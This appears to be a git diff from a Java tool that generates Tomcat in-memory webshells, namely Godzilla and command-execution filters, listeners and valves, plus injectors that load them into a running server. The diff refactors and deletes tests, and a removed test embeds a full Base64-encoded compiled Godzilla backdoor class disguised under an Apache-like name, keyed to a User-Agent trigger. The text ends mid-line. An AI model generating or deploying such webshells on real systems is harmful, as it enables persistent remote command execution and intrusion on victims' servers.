b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java index 13f48c57..8523e3c0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java @@ -22,20 +22,14 @@ import java.util.zip.GZIPInputStream; */ public class TomcatValveInjector { - public String getUrlPattern() { - return "/*"; - } - - public String getClassName() { - return ""; + return "{{className}}"; } public String getBase64String() { - return ""; + return "{{base64Str}}"; } - static { new TomcatValveInjector(); } diff --git a/generator/src/main/java/com/reajason/javaweb/util/ClassUtils.java b/generator/src/main/java/com/reajason/javaweb/util/ClassUtils.java index f7b89737..f8a714b9 100644 --- a/generator/src/main/java/com/reajason/javaweb/util/ClassUtils.java +++ b/generator/src/main/java/com/reajason/javaweb/util/ClassUtils.java @@ -17,6 +17,7 @@ public class ClassUtils { } @SneakyThrows + @SuppressWarnings("deprecation") public static Object newInstance(byte[] bytes) { Class clazz = defineClass(bytes); return clazz.newInstance(); diff --git a/generator/src/test/java/com/reajason/javaweb/config/GodzillaShellConfigTest.java b/generator/src/test/java/com/reajason/javaweb/config/GodzillaShellConfigTest.java new file mode 100644 index 00000000..60709156 --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/config/GodzillaShellConfigTest.java @@ -0,0 +1,19 @@ +package com.reajason.javaweb.config; + +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/5 + */ +class GodzillaShellConfigTest { + + @Test + void test() { + GodzillaConfig shellConfig = GodzillaConfig.builder() + .pass("pass").build(); + assertEquals("key", shellConfig.getKey()); + } +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/GodzillaGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/GodzillaGeneratorTest.java deleted file mode 100644 index de9886de..00000000 --- a/generator/src/test/java/com/reajason/javaweb/memsell/GodzillaGeneratorTest.java +++ /dev/null @@ -1,33 +0,0 @@ -package com.reajason.javaweb.memsell; - -import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter; -import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaListener; -import com.reajason.javaweb.util.ClassUtils; -import org.apache.commons.io.IOUtils; -import org.junit.jupiter.api.Disabled; -import org.junit.jupiter.api.Test; - -import java.io.IOException; -import java.nio.file.Files; -import java.nio.file.Paths; - -import static org.junit.jupiter.api.Assertions.assertEquals; - -/** - * @author ReaJason - * @since 2024/11/23 - */ -class GodzillaGeneratorTest { - String pass = "pass"; - String key = "key"; - String headerName = "User-Agent"; - String headerValue = "test"; - - @Test - @Disabled("just for generate") - void testGenerate() throws IOException { - String className = "org.apache.utils.CommonFilter"; - byte[] bytes = GodzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue); - IOUtils.write(bytes, Files.newOutputStream(Paths.get("CommonFilter.class"))); - } -} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java index 3503bac2..4fdc5927 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java @@ -1,12 +1,17 @@ package com.reajason.javaweb.memsell.tomcat.command; -import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.CommandConfig; +import com.reajason.javaweb.config.ShellConfig; import com.reajason.javaweb.memsell.CommandGenerator; import com.reajason.javaweb.util.ClassUtils; -import org.apache.commons.codec.binary.Base64; -import org.junit.jupiter.api.Test; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; + +import java.util.stream.Stream; import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.params.provider.Arguments.arguments; /** * @author ReaJason @@ -14,14 +19,27 @@ import static org.junit.jupiter.api.Assertions.assertEquals; */ class CommandFilterTest { - @Test - void testGenerate() { - String className = "org.command.CommandFilter"; - String paramName = "cmd"; - byte[] bytes = CommandGenerator.generate(CommandFilter.class, className, paramName, false, Constants.DEFAULT_VERSION); + static Stream casesProvider() { + return Stream.of( + arguments(CommandFilter.class, "org.apache.utils.CommandFilter"), + arguments(CommandListener.class, "org.apache.utils.CommandListener"), + arguments(CommandValve.class, "org.apache.utils.CommandValve") + + ); + } + + @ParameterizedTest + @MethodSource("casesProvider") + void generate(Class clazz, String className) { + ShellConfig generateConfig = new ShellConfig(); + CommandConfig shellConfig = CommandConfig.builder() + .clazz(clazz) + .className(className) + .paramName("cmd") + .build(); + byte[] bytes = CommandGenerator.generate(generateConfig, shellConfig); Object obj = ClassUtils.newInstance(bytes); - assertEquals(className, obj.getClass().getName()); - assertEquals(paramName, ClassUtils.getFieldValue(obj, "paramName")); - System.out.println(Base64.encodeBase64String(bytes)); + assertEquals(shellConfig.getClassName(), obj.getClass().getName()); + assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName")); } } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilterTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilterTest.java deleted file mode 100644 index 6af98ea4..00000000 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilterTest.java +++ /dev/null @@ -1,38 +0,0 @@ -package com.reajason.javaweb.memsell.tomcat.godzilla; - -import com.reajason.javaweb.memsell.GodzillaGenerator; -import com.reajason.javaweb.util.ClassUtils; -import org.apache.commons.codec.binary.Base64; -import org.apache.commons.io.IOUtils; -import org.junit.jupiter.api.Disabled; -import org.junit.jupiter.api.Test; - -import java.io.IOException; -import java.nio.file.Files; -import java.nio.file.Paths; - -import static org.junit.jupiter.api.Assertions.*; - -/** - * @author ReaJason - * @since 2024/11/24 - */ -class GodzillaFilterTest { - String pass = "pass"; - String key = "key"; - String headerName = "User-Agent"; - String headerValue = "test"; - - @Test - void generate() { - String className = "org.apache.utils.CommonFilter"; - byte[] bytes = GodzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue); - Object obj = ClassUtils.newInstance(bytes); - assertEquals(className, obj.getClass().getName()); - assertEquals(pass, ClassUtils.getFieldValue(obj, "pass")); - assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key")); - assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName")); - assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue")); - System.out.println(Base64.encodeBase64String(bytes)); - } -} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListenerTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListenerTest.java deleted file mode 100644 index 0b2d83dd..00000000 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListenerTest.java +++ /dev/null @@ -1,32 +0,0 @@ -package com.reajason.javaweb.memsell.tomcat.godzilla; - -import com.reajason.javaweb.memsell.GodzillaGenerator; -import com.reajason.javaweb.util.ClassUtils; -import org.apache.commons.codec.binary.Base64; -import org.junit.jupiter.api.Test; - -import static org.junit.jupiter.api.Assertions.assertEquals; - -/** - * @author ReaJason - * @since 2024/11/24 - */ -class GodzillaListenerTest { - String pass = "pass"; - String key = "key"; - String headerName = "User-Agent"; - String headerValue = "test"; - - @Test - void generate() { - String className = "org.apache.utils.CommonListener"; - byte[] bytes = GodzillaGenerator.generate(GodzillaListener.class, className, pass, key, headerName, headerValue); - Object obj = ClassUtils.newInstance(bytes); - assertEquals(className, obj.getClass().getName()); - assertEquals(pass, ClassUtils.getFieldValue(obj, "pass")); - assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key")); - assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName")); - assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue")); - System.out.println(Base64.encodeBase64String(bytes)); - } -} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java new file mode 100644 index 00000000..55a66dba --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java @@ -0,0 +1,53 @@ +package com.reajason.javaweb.memsell.tomcat.godzilla; + +import com.reajason.javaweb.config.ShellConfig; +import com.reajason.javaweb.config.GodzillaConfig; +import com.reajason.javaweb.memsell.GodzillaGenerator; +import com.reajason.javaweb.util.ClassUtils; +import com.reajason.javaweb.util.CommonUtil; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; + +import java.util.stream.Stream; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +class GodzillaTest { + ShellConfig config = new ShellConfig(); + + GodzillaConfig.GodzillaConfigBuilder shellConfigBuilder = GodzillaConfig.builder() + .pass(CommonUtil.getRandomString(6)) + .key(CommonUtil.getRandomString(6)) + .headerName("User-Agent") + .headerValue(CommonUtil.getRandomString(5)); + + static Stream casesProvider() { + return Stream.of( + arguments(GodzillaFilter.class, "org.apache.utils.GodzillaFilter"), + arguments(GodzillaListener.class, "org.apache.utils.GodzillaListener"), + arguments(GodzillaValve.class, "org.apache.utils.GodzillaValve") + + ); + } + + @ParameterizedTest + @MethodSource("casesProvider") + void generate(Class clazz, String className) { + GodzillaConfig shellConfig = shellConfigBuilder + .className(className) + .clazz(clazz) + .build(); + byte[] bytes = GodzillaGenerator.generate(config, shellConfig); + Object obj = ClassUtils.newInstance(bytes); + assertEquals(shellConfig.getClassName(), obj.getClass().getName()); + assertEquals(shellConfig.getPass(), ClassUtils.getFieldValue(obj, "pass")); + assertEquals(shellConfig.getHeaderName(), ClassUtils.getFieldValue(obj, "headerName")); + assertEquals(shellConfig.getHeaderValue(), ClassUtils.getFieldValue(obj, "headerValue")); + } +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java deleted file mode 100644 index 2589def0..00000000 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java +++ /dev/null @@ -1,49 +0,0 @@ -package com.reajason.javaweb.memsell.tomcat.godzilla; - -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.memsell.GodzillaGenerator; -import com.reajason.javaweb.util.ClassUtils; -import lombok.SneakyThrows; -import org.apache.commons.codec.binary.Base64; -import org.junit.jupiter.api.Test; - -import static org.junit.jupiter.api.Assertions.assertEquals; - -/** - * @author ReaJason - * @since 2024/11/24 - */ -class GodzillaValveTest { - String pass = "pass"; - String key = "key"; - String headerName = "User-Agent"; - String headerValue = "test"; - - @Test - void generate() { - String className = "org.apache.utils.CommonValve"; - byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue); - Object obj = ClassUtils.newInstance(bytes); - assertEquals(className, obj.getClass().getName()); - assertEquals(pass, ClassUtils.getFieldValue(obj, "pass")); - assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key")); - assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName")); - assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue")); - System.out.println(Base64.encodeBase64String(bytes)); - } - - @Test - @SneakyThrows - void generateJakarta() { - String className = "org.apache.utils.CommonJakartaValve"; - byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue, true, Constants.DEFAULT_VERSION); -// Files.write(Paths.get(className + ".class"), bytes); - Object obj = ClassUtils.newInstance(bytes); - assertEquals(className, obj.getClass().getName()); - assertEquals(pass, ClassUtils.getFieldValue(obj, "pass")); - assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key")); - assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName")); - assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue")); - System.out.println(Base64.encodeBase64String(bytes)); - } -} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjectorTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjectorTest.java deleted file mode 100644 index 47c6cb94..00000000 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjectorTest.java +++ /dev/null @@ -1,59 +0,0 @@ -package com.reajason.javaweb.memsell.tomcat.injector; - -import com.reajason.javaweb.memsell.InjectorGenerator; -import com.reajason.javaweb.util.ClassUtils; -import com.reajason.javaweb.util.CommonUtil; -import lombok.SneakyThrows; -import org.apache.commons.codec.binary.Base64; -import org.junit.jupiter.api.Test; - -import static org.junit.jupiter.api.Assertions.assertEquals; - -/** - * @author ReaJason - * @since 2024/11/24 - */ -class TomcatFilterInjectorTest { - - @Test - @SneakyThrows - void generate() { - byte[] shellBytes = Base64.decodeBase64("yv66vgAAADQBNgoARQCgCgBFAKEKAEUAoggAowoApAClBwCmCQAaAKcKAD4AqAoABgCpCgCkAKoKAKQAqwcArAcArQcArgkAGgCvCwANALAJABoAsQoAPgCyCwANALMJABoAtAsADQC1CgAaALYKABoAtwgAuAsAuQC6BwC7CgA9ALwKACQAvQoAGgChCgAaAL4LALkAvwgAwAsADQC/BwDBCgAiAKAHAMIKACQAwwcAxAcAxQcAxgoAKADHCgA9AMgLAA4AyQkAGgDKCgA+AMsKAMwAzQoAPQDOCgAiAM8KABoA0AoAPgDRCwDSANMIANQKACQA1QgA1gcA1woAJADYBwDZCgDaANsIANwHAFoHAN0HAN4IAN8IAOAIAOEIAOIIAOMIAOQHAOUHAOYBAANrZXkBABJMamF2YS9sYW5nL1N0cmluZzsBAARwYXNzAQADbWQ1AQAKaGVhZGVyTmFtZQEAC2hlYWRlclZhbHVlAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAD1MY29tL3JlYWphc29uL2phdmF3ZWIvbWVtc2VsbC90b21jYXQvZ29kemlsbGEvR29kemlsbGFGaWx0ZXI7AQAaKExqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KVYBAAF6AQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAFRAQAVKFtCKUxqYXZhL2xhbmcvQ2xhc3M7AQACY2IBAAJbQgEACVNpZ25hdHVyZQEAGChbQilMamF2YS9sYW5nL0NsYXNzPCo+OwEAAXgBAAcoW0JaKVtCAQABYwEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABHZhcjQBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAFzAQABbQEAAVoBAA1TdGFja01hcFRhYmxlBwC7BwDnBwCsAQAIZG9GaWx0ZXIBAFsoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlO0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOylWAQABZgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAAWUBAChMamF2YS9sYW5nL1JlZmxlY3RpdmVPcGVyYXRpb25FeGNlcHRpb247AQAGYXJyT3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAB3Nlc3Npb24BACBMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEABGRhdGEBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAVjaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsHAOgHAOkHAOoHAK0HAK4HAOsHAMEHAOwHAN0BAApFeGNlcHRpb25zBwDtBwDuAQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAHZGVzdHJveQEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdlbmNvZGVyAQAGYmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAR2YXI2AQACYnMBAAV2YWx1ZQEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBABRMamF2YS9sYW5nL0NsYXNzPCo+OwcA3gEADGJhc2U2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQAKU291cmNlRmlsZQEAE0dvZHppbGxhRmlsdGVyLmphdmEMAE0ATgwATQBUDADvAPABAANBRVMHAOcMAPEA8gEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMMAEcASAwA8wD0DABNAPUMAIsA9gwA9wD4AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQwASwBIDAD5APoMAEwASAwA+wD8DAD9AP4MAEkASAwA/wD6DACbAJwMAF0AXgEAB3BheWxvYWQHAOsMAQABAQEAO2NvbS9yZWFqYXNvbi9qYXZhd2ViL21lbXNlbGwvdG9tY2F0L2dvZHppbGxhL0dvZHppbGxhRmlsdGVyDAECAQMMAQQBBQwAVwBYDAEGAQcBAApwYXJhbWV0ZXJzAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0BAA9qYXZhL2xhbmcvQ2xhc3MMAQgBCQEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwATQEKDAELAQwMAQ0BDgwASgBIDAEPARAHAREMARIBEwwBFAEVDAEWAPQMAJAAkQwBDwEXBwDqDABqARgBABBqYXZhLnV0aWwuQmFzZTY0DAEZARoBAApnZXRFbmNvZGVyAQASW0xqYXZhL2xhbmcvQ2xhc3M7DAEbARwBABNbTGphdmEvbGFuZy9PYmplY3Q7BwEdDAEeAR8BAA5lbmNvZGVUb1N0cmluZwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQAWc3VuLm1pc2MuQkFTRTY0RW5jb2RlcgEABmVuY29kZQEACmdldERlY29kZXIBAAZkZWNvZGUBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyAQAMZGVjb2RlQnVmZmVyAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEAJmphdmEvbGFuZy9SZWZsZWN0aXZlT3BlcmF0aW9uRXhjZXB0aW9uAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAYoW0IpW0IBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAxnZXRQYXJhbWV0ZXIBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADHNldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9CeXRlQXJyYXkBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAEAoTGphdmF4L3NlcnZsZXQvU2Vydmxl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"); - String shellClassName = "org.apache.utils.CommonFilter"; - String injectClassName = this.getClass().getName() + "1"; - byte[] bytes = InjectorGenerator.generate(TomcatFilterInjector.class, injectClassName, shellClassName, shellBytes, "/*"); - Object obj = ClassUtils.newInstance(bytes); - assertEquals(injectClassName, obj.getClass().getName()); - assertEquals(shellClassName, ClassUtils.invokeMethod(obj, "getClassName", null, null).toString()); - assertEquals("/*", ClassUtils.invokeMethod(obj, "getUrlPattern", null, null).toString()); - assertEquals(Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), ""), - ClassUtils.invokeMethod(obj, "getBase64String", null, null).toString()); - System.out.println(Base64.encodeBase64String(bytes)); - } - - @Test - @SneakyThrows - void generateJakarta() { - byte[] shellBytes = 